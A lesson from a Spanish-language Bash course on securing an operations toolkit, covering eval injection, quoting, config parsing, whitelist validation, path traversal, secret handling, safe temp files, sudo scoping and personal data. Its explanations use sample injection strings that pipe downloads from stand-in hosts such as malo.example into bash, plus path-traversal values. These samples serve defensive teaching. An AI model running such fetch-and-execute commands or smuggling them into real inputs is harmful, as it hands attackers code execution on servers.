La lección anterior terminó con una pregunta incómoda: el toolkit ya es legible y rápido, pero ¿es seguro? Estos scripts se ejecutan sin nadie delante, algunos con sudo, guardan claves SSH que abren tres servidores, leen un fichero de configuración con credenciales y procesan un CSV con datos de clientes y repartidores. Un fallo de rendimiento hace que el informe llegue tarde; un fallo de seguridad hace que alguien ejecute órdenes en srv-veloz-01 con tus permisos. Esta lección audita el toolkit de arriba abajo: inyección de comandos, validación de entrada, secretos, ficheros temporales, mínimo privilegio, condiciones de carrera y datos personales, con una lista de comprobación final.
Contenido
- El modelo de amenaza de un script de operaciones
- Inyección de comandos: por qué
evales una bomba - Construir órdenes sin
eval - La variable sin comillas como vector de ataque
sourcede la configuración ejecuta código arbitrario- Entrada no confiable: validar con lista blanca
- Rutas,
--y nombres de fichero hostiles - Gestión de secretos
- Temporales seguros, TOCTOU y escritura atómica
- Privilegios y entorno heredado
- Datos personales
- Lista de comprobación aplicada al toolkit
- El modelo de amenaza de un script de operaciones
Antes de repasar técnicas conviene saber de quién nos defendemos. Un script del toolkit recibe datos de sitios que no controlamos:
| Fuente de datos | ¿Quién la controla? | Riesgo |
|---|---|---|
| Argumentos de la línea de órdenes | Quien invoca el script | Alto si corre con sudo desde un timer |
/var/log/veloz/acceso.log |
Cualquiera que haga una petición HTTP | Alto: la URL y el user-agent los escribe el atacante |
Respuesta de veloz-api |
La API, o quien la comprometa | Medio-alto |
envios.csv |
El sistema que lo genera y quien introduce los datos | Medio |
| Variables de entorno | Quien lanza el proceso | Alto: PATH, IFS y LD_* cambian el comportamiento |
La conclusión operativa es dura y poco intuitiva: una línea de un log es dato hostil. Si alguien escribe "; curl http://malo/s.sh | bash; #" en el user-agent de una petición HTTP, esa cadena acaba en un fichero que tu script lee cada noche.
- Inyección de comandos: por qué
eval es una bomba
eval es una bombaeval toma una cadena, la vuelve a expandir y la ejecuta como si la hubieras escrito tú. Es decir: convierte datos en código.
Con campo=ciudad funciona. Con campo='x; curl -s http://malo.example/s.sh | bash' también: descarga y ejecuta un script. Y ese campo puede venir de un argumento, de un log o de un JSON de la API.
La regla es casi absoluta: si estás escribiendo eval, hay otra forma de hacerlo. En revisión de scripts de operaciones, el 99 % de los eval son sustituibles. Los mismos peligros tienen bash -c "$cadena", ssh host "$cadena" (07-06) y find -exec sh -c "$cadena": son los cuatro puntos calientes de cualquier auditoría, porque en todos ellos el texto vuelve a pasar por el intérprete.
- Construir órdenes sin
eval
evalEl caso típico es «montar una orden con opciones variables». La solución correcta es un array, no una cadena:
# MAL: cadena que hay que volver a partir
opciones="--max-time 5 --silent"
eval "curl $opciones \"$url\""
# BIEN: cada elemento del array es un argumento, sin reinterpretacion (04-03)
opciones=( --max-time 5 --silent )
[[ $verboso == si ]] && opciones+=( --verbose )
curl "${opciones[@]}" -- "$url"Al expandir "${opciones[@]}" cada elemento llega como un argumento, sin pasar de nuevo por división de palabras ni globbing; aunque contenga ; o $(...), curl lo recibe como texto literal. Para componer cadenas sin subshell está printf -v ruta '%s/%s.json' "$DIR" "$ciudad", y para «acceder a la variable cuyo nombre está en otra variable» —donde más eval se ve— Bash 4.3 tiene las referencias de nombre:
veloz_lee_campo() {
local -n destino=$1 # $1 es el NOMBRE de la variable de salida
destino="$2"
}
veloz_lee_campo resultado "Valencia"declare -n (o local -n) crea un alias sin expandir el contenido como código, que era justo el problema de eval. Conviene igualmente validar que $1 es un identificador válido.
- La variable sin comillas como vector de ataque
Ya sabemos de 03-06 que una variable sin comillas sufre división de palabras y globbing. En seguridad deja de ser un defecto estético:
Conviene ser exacto, porque hay un mito extendido: sin comillas, Bash no ejecuta el ; como separador de órdenes —la división de palabras ocurre después del análisis sintáctico—. Lo que sí ocurre, y basta para el desastre, es que rm recibe cuatro argumentos (envios.csv;, rm, -rf, /tmp/veloz) y borra /tmp/veloz. Con un valor como * -rf, el globbing expande el directorio entero. La conclusión no cambia: entrecomilla siempre.
source de la configuración ejecuta código arbitrario
source de la configuración ejecuta código arbitrarioEn 05-06 cargamos etc/veloz-ops.conf con source. Es cómodo y por eso es el patrón mayoritario, pero significa que el fichero de configuración es un script: una línea curl -s http://malo.example/puerta.sh | bash dentro de él se ejecuta con los permisos del toolkit.
Hay dos defensas. La obligatoria: fichero en 600, propiedad del usuario del servicio, en un directorio no escribible por otros. La segunda, para configuraciones sin lógica, es parsear en vez de ejecutar:
veloz_carga_conf() {
local fichero=$1 clave valor
while IFS='=' read -r clave valor; do
clave=${clave// /}
[[ $clave =~ ^[A-Z][A-Z0-9_]*$ ]] || continue # lista blanca: descarta
valor=${valor%\"}; valor=${valor#\"} # comentarios y basura
printf -v "VELOZ_CONF_$clave" '%s' "$valor"
done < "$fichero"
}Cada línea se trata como texto: se exige que la clave sea un identificador en mayúsculas —lo que descarta comentarios, líneas vacías y órdenes— y el valor se asigna con printf -v, que nunca lo interpreta.
- Entrada no confiable: validar con lista blanca
La diferencia entre lista negra y lista blanca decide muchas auditorías. Enumerar lo prohibido (;, |, `) siempre deja algo fuera: \n, &, la codificación URL, el equivalente UTF-8. Enumerar lo permitido y rechazar el resto es cerrado por construcción.
# Formato: lista blanca de caracteres
[[ $ciudad =~ ^[a-zA-Z0-9_-]+$ ]] || veloz_morir 1 "ciudad no valida: $ciudad"
# Mejor cuando el conjunto es cerrado: lista literal (04-05)
case $ciudad in
Valencia|Sevilla|Bilbao|Madrid) ;;
*) veloz_morir 1 "ciudad desconocida" ;;
esac
# Numeros: formato Y rango, nunca solo formato
[[ $dias =~ ^[0-9]+$ ]] && (( dias >= 1 && dias <= 365 )) \
|| veloz_morir 1 "dias fuera de rango: $dias"Valida en el borde, en cuanto el dato entra, no diez funciones más adentro. Y valida el rango además del formato: dias=999999999 es sintácticamente correcto y provoca un bucle interminable.
- Rutas,
-- y nombres de fichero hostiles
-- y nombres de fichero hostilesTres problemas distintos con tres soluciones distintas.
Argumentos que parecen opciones. Si un nombre empieza por -, la orden lo toma como opción. -- marca el final de las opciones: rm -- "$fichero", grep -- "$patron" f.log.
Rutas con ... Un parámetro ../../etc/passwd saca "$DIR_DATOS/$nombre" del directorio previsto. Se normaliza y se comprueba el prefijo:
destino=$(realpath -m -- "$DIR_DATOS/$nombre") # -m: no exige que exista
case $destino in
"$DIR_DATOS"/*) ;;
*) veloz_morir 1 "ruta fuera de $DIR_DATOS: $nombre" ;;
esacNombres con espacios y saltos de línea. Un fichero puede llamarse informe$'\n'/etc/passwd. Por eso en 05-01 usamos find -print0 con xargs -0: el byte nulo es el único carácter imposible en un nombre.
- Gestión de secretos
Los secretos del toolkit son la clave de la API, la contraseña del correo y la clave SSH.
| Dónde NO va un secreto | Por qué |
|---|---|
| En el código del script | Acaba en Git y ahí se queda para siempre (08-04) |
| En la línea de órdenes | ps aux lo muestra a cualquier usuario de la máquina (05-02) |
| En el historial | ~/.bash_history lo guarda en claro (02-06) |
| En una variable exportada | La heredan todos los hijos; /proc/PID/environ la delata |
| En un log | Los logs se comparten, se rotan y se envían a soporte |
La forma correcta es un fichero con permisos estrictos, creado con umask restrictiva:
umask 077 # todo lo que cree este proceso: 600 / 700
printf 'machine localhost login veloz-api password %s\n' "$token" > ~/.netrc
chmod 600 ~/.netrc # explicito, no confies solo en umask
veloz_api_get() { curl -sSf --netrc --max-time 5 "http://localhost:8080$1"; }--netrc (o --netrc-file) lee las credenciales de ese fichero; -u usuario:clave las dejaría visibles en ps. Para equipos mayores existen gestores dedicados —Vault, pass, systemd-creds—, con el mismo criterio: el script pide el secreto en ejecución y no lo escribe en ninguna parte. Y si un secreto se filtra, se rota inmediatamente, antes que cualquier otra acción; si además está en Git, borrarlo del historial es un problema aparte que veremos en 08-04, y borrarlo no sustituye a rotarlo, porque cualquiera pudo clonar el repositorio.
- Temporales seguros, TOCTOU y escritura atómica
Un temporal con nombre predecible (tmp=/tmp/veloz-informe.txt) es una vulnerabilidad clásica: cualquier usuario puede crear antes ese fichero como enlace simbólico a /etc/crontab, y cuando el script escribe —más aún como root— escribe en el destino del enlace. Es el symlink attack. La solución, ya vista en 05-01, es mktemp, que crea el fichero con nombre aleatorio y permisos 600 en una operación atómica:
tmp=$(mktemp -t veloz-informe.XXXXXX) || veloz_morir 1 "sin temporal"
trap 'rm -f -- "$tmp"' EXIT # limpieza garantizada (05-03)TOCTOU (time of check to time of use) es la ventana entre comprobar y usar. El patrón if [[ -e $destino ]]; then veloz_morir; fi; cp ... es intrínsecamente frágil: entre las dos líneas alguien puede crear el fichero, y comprobar más veces no cierra la ventana. Las soluciones son operaciones atómicas: mkdir (falla si existe), set -o noclobber, mktemp o flock (05-02). El caso más importante en el toolkit es la escritura atómica del resultado, porque mv dentro del mismo sistema de ficheros es atómico:
generar_informe > "$tmp"
mv -- "$tmp" /srv/veloz/informes/informe.html # aparece completo o no apareceSin eso, quien lea mientras se escribe verá medio fichero, y un script que muera a mitad dejará uno corrupto que el siguiente proceso dará por bueno.
- Privilegios y entorno heredado
Mínimo privilegio significa que cada script tiene exactamente los permisos que necesita. informe-diario.sh solo lee un CSV y escribe en logs/: corre como el usuario veloz, no como root. Cuando haga falta una orden privilegiada, se acota en /etc/sudoers.d/veloz:
Eso permite reiniciar el servicio y nada más; un veloz ALL=(ALL) NOPASSWD: ALL equivale a entregar la contraseña de root, con el agravante de que nadie lo percibe así. Dos apuntes más: Linux ignora el bit setuid en scripts que empiezan por #!, precisamente porque la ventana entre que el núcleo abre el fichero y el intérprete lo lee es explotable —así que la respuesta a «necesito privilegios» es sudo acotado, nunca chmod u+s—; y un directorio escribible por otros en el PATH de un script privilegiado permite colocar ahí un grep falso.
De ahí que un script sensible no herede su entorno, lo declare:
set -euo pipefail
IFS=$' \t\n'
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; export PATH
umask 077Es la misma idea del entorno mínimo de cron (07-01), aplicada por seguridad: si alguien exporta IFS=/, tus divisiones de palabras cambian de significado.
- Datos personales
envios.csv y acceso.log contienen datos que identifican personas: nombres de repartidores, direcciones IP y, según el caso, direcciones de entrega. Tres consecuencias: anonimizar todo log que salga del servidor —a soporte, a un proveedor, a un ticket— con veloz_anonimiza_log (06-02), que sustituye IP e identificadores por marcadores estables; minimizar, no copiando el CSV completo si solo necesitas tres columnas; y retener lo justo, porque la política de retención del respaldo (07-03) también es una medida de protección de datos.
Y una advertencia que no admite matices: cualquier tratamiento de datos reales de clientes debe revisarse con el responsable de seguridad o de cumplimiento antes de ponerlo en producción. Las técnicas de esta lección son necesarias pero no sustituyen a un análisis legal —RGPD u otra normativa aplicable— sobre qué datos puedes tratar, dónde y durante cuánto tiempo. Un script técnicamente impecable puede seguir siendo ilegal.
- Lista de comprobación aplicada al toolkit
| # | Comprobación | Estado en ~/veloz-ops/ |
|---|---|---|
| 1 | Ningún eval, bash -c ni ssh host "$cadena" con datos externos |
Corregido en flota.sh |
| 2 | Todas las expansiones entrecomilladas | Se verificará con ShellCheck (08-05) |
| 3 | Argumentos validados con lista blanca en el borde | Añadido en informe-diario.sh y estado-servicio.sh |
| 4 | -- antes de rutas variables; -print0/xargs -0 en find |
Aplicado |
| 5 | Configuración en 600 y parseada, no ejecutada | Permisos hechos; parseo pendiente |
| 6 | Ningún secreto en código, argumentos, historial ni logs | --netrc en veloz_api_get |
| 7 | Temporales con mktemp + trap ... EXIT |
Aplicado en los cinco scripts |
| 8 | sudo acotado por orden en sudoers.d |
Solo systemctl restart veloz-api |
| 9 | PATH, IFS y umask 077 fijados en cabecera |
Aplicado en lib/comun.sh |
| 10 | Salida final escrita con mv atómico |
informe-diario.sh y respaldo.sh |
| 11 | Logs anonimizados antes de salir del servidor | En el procedimiento de soporte |
Errores Comunes y Consejos
- Creer que «esto solo lo ejecuto yo». El script acaba en un timer, en otro servidor o en manos de un compañero. La entrada que hoy escribes tú, mañana la escribe un log.
- Filtrar caracteres peligrosos en vez de aceptar los válidos. Toda lista negra está incompleta; usa
casecerrado o[[ =~ ^[a-zA-Z0-9_-]+$ ]]. - Poner el secreto en la línea de órdenes «solo para probar». Queda en
psmientras dura y en el historial para siempre. - Borrar un secreto sin rotarlo. El borrado no es la mitigación; la rotación sí.
- Consejo:
sudo -lmuestra exactamente qué puede ejecutar el usuario. Si apareceALL, tienes trabajo. - Consejo: la auditoría es recurrente, no un hito. Cada vez que un script lee una fuente nueva, vuelve a la tabla del apartado 1.
Ejercicios
Ejercicio 1. Este fragmento cuenta navegadores a partir del user-agent de acceso.log. Identifica las dos vulnerabilidades y reescríbelo de forma segura.
while read -r linea; do
agente=$(echo $linea | cut -d'"' -f6)
eval "conteo_$agente=\$((conteo_$agente + 1))"
done < /var/log/veloz/acceso.logEjercicio 2. Escribe veloz_valida_ciudad, que valide su argumento contra la lista cerrada de Veloz Envíos y devuelva 0 o 1 con mensaje en stderr, funcionando aunque el argumento falte o contenga espacios.
Ejercicio 3. respaldo.sh genera /srv/veloz/respaldos/resumen.txt con > directo. Explica los dos problemas y reescribe el bloque de forma atómica y con temporal seguro.
Soluciones
Solución 1. Las vulnerabilidades son (a) $linea sin comillas, que sufre división de palabras y globbing, y (b) eval sobre un valor que escribe el cliente HTTP: un user-agent como x; curl http://malo/s|bash; x se ejecuta. Además read sin -r destroza las barras invertidas.
declare -A conteo
while IFS= read -r linea; do
agente=${linea#*\"} # expansiones, no cut (08-02)
agente=${agente%%\"*}
[[ $agente =~ ^[a-zA-Z0-9._/ -]+$ ]] || agente="(no valido)"
(( conteo["$agente"]++ ))
done < /var/log/veloz/acceso.logLa clave de un array asociativo admite cualquier texto sin interpretarlo, así que el dato hostil deja de ser código; la lista blanca evita además claves absurdas en el informe.
Solución 2.
# veloz_valida_ciudad <ciudad> -> 0 si pertenece a la lista, 1 si no
veloz_valida_ciudad() {
local ciudad=${1-}
case $ciudad in
Valencia|Sevilla|Bilbao|Madrid) return 0 ;;
*) printf 'ciudad no valida: %q\n' "$ciudad" >&2; return 1 ;;
esac
}${1-} evita el fallo con set -u si no hay argumento (03-06), el case es una lista blanca cerrada y %q escapa el valor para que un salto de línea no ensucie ni falsifique el log.
Solución 3. Los problemas son que el fichero se lee mientras se escribe —un lector ve un resumen a medias— y que un fallo a mitad deja un fichero corrupto que el siguiente proceso dará por bueno. El temporal debe estar en el mismo sistema de ficheros que el destino para que mv sea atómico:
tmp=$(mktemp -t resumen.XXXXXX -p /srv/veloz/respaldos) || veloz_morir 1 "sin temporal"
trap 'rm -f -- "$tmp"' EXIT
{ printf 'respaldo %s\n' "$(date -Is)"; printf 'ficheros: %d\n' "$n_ficheros"; } > "$tmp"
mv -- "$tmp" /srv/veloz/respaldos/resumen.txtConclusión
Auditar un script de operaciones consiste en aceptar que los datos que entran son hostiles —una línea de log la escribe cualquiera que haga una petición HTTP— y cerrar las vías por las que un dato se convierte en código. La principal es eval, sustituible por arrays de argumentos, printf -v y declare -n; le siguen bash -c, ssh host "$cadena" y find -exec sh -c, y el source del fichero de configuración, que ejecuta lo que contenga y puede reemplazarse por un parseo de clave=valor con lista blanca de nombres. La validación se hace en el borde y siempre con lista blanca —case cerrado o [[ =~ ^[a-zA-Z0-9_-]+$ ]]—, comprobando rango además de formato, con -- para terminar las opciones, realpath más comprobación de prefijo frente a las rutas con .., y -print0/xargs -0 frente a nombres con espacios o saltos de línea. Los secretos no van nunca en el código, ni en la línea de órdenes —visibles en ps—, ni en el historial, ni en variables exportadas de más: fichero 600 con umask 077, --netrc en curl, gestores dedicados si el equipo crece, y ante una filtración rotar siempre, antes que borrar. Los temporales se crean con mktemp y se limpian con trap EXIT, porque un nombre predecible en /tmp es un ataque de enlace simbólico esperando; las comprobaciones del tipo if [[ -e f ]] son frágiles por definición y los resultados se publican con mv atómico; los privilegios se acotan orden por orden en sudoers sabiendo que Linux ignora el setuid en scripts y que eso nos protege; y un script sensible fija su PATH, su IFS y su umask en lugar de heredarlos. Por último, los datos personales exigen anonimizar antes de compartir, minimizar lo que se copia, retener lo justo y —sin excepciones— revisar cualquier tratamiento de datos reales con el responsable de seguridad o cumplimiento antes de producción.
El toolkit es ahora legible, rápido y auditado. Pero todos esos cambios se han hecho editando ficheros encima de los anteriores, sin forma de saber qué cambió, cuándo, por qué ni cómo volver atrás si el refactor de vigilante.sh rompe la vigilancia el martes de madrugada. La lección 08-04 pone ~/veloz-ops/ bajo control de versiones con Git: qué se versiona y qué no —empezando por el fichero de configuración que acabamos de proteger—, mensajes de commit útiles en operaciones, deshacer con criterio, ramas para probar sin tocar producción, etiquetas para marcar la versión desplegada en la flota y un hook pre-commit que impida subir código sin revisar.
Curso de Programación en Bash
Módulo 1: Introducción a Bash
- ¿Qué es Bash?
- Configurando tu Entorno
- Navegación Básica en la Línea de Comandos
- Entendiendo el Shell
- Encontrar Ayuda: man, help y --help
Módulo 2: Comandos Básicos de Bash
- Operaciones con Archivos y Directorios
- Comandos de Procesamiento de Texto
- Permisos y Propiedad de Archivos
- Redirección y Tuberías
- Comodines y Expansión de Rutas
- Historial y Atajos de Teclado
Módulo 3: Fundamentos de Scripting
- Creando y Ejecutando un Script
- Variables y Constantes
- Operadores Básicos
- Sentencias Condicionales
- Argumentos y Entrada del Usuario
- Comillas, Expansión y Sustitución
Módulo 4: Scripting Intermedio
- Bucles en Bash
- Funciones en Bash
- Arrays y Arrays Asociativos
- Manipulación de Cadenas
- La Sentencia case y los Menús Interactivos
- Aritmética y Cálculos Numéricos
Módulo 5: Técnicas Avanzadas de Scripting
- Operaciones Avanzadas con Archivos
- Gestión de Procesos
- Manejo de Errores y Depuración
- Expresiones Regulares
- Entrada/Salida Avanzada: Descriptores y Here-Documents
- Scripts Modulares y Librerías Reutilizables
Módulo 6: Trabajando con Herramientas Externas
Módulo 7: Automatización y Programación
- Trabajos Cron
- Automatizando Tareas
- Scripts de Respaldo y Restauración
- Monitoreo y Registro
- Servicios y Temporizadores con systemd
- Automatización Remota con SSH
Módulo 8: Mejores Prácticas y Optimización
- Escribiendo Código Legible
- Optimizando Scripts en Bash
- Consideraciones de Seguridad
- Control de Versiones con Git
- Análisis Estático con ShellCheck y shfmt
- Pruebas Automatizadas con Bats
- Portabilidad: POSIX sh frente a Bashismos
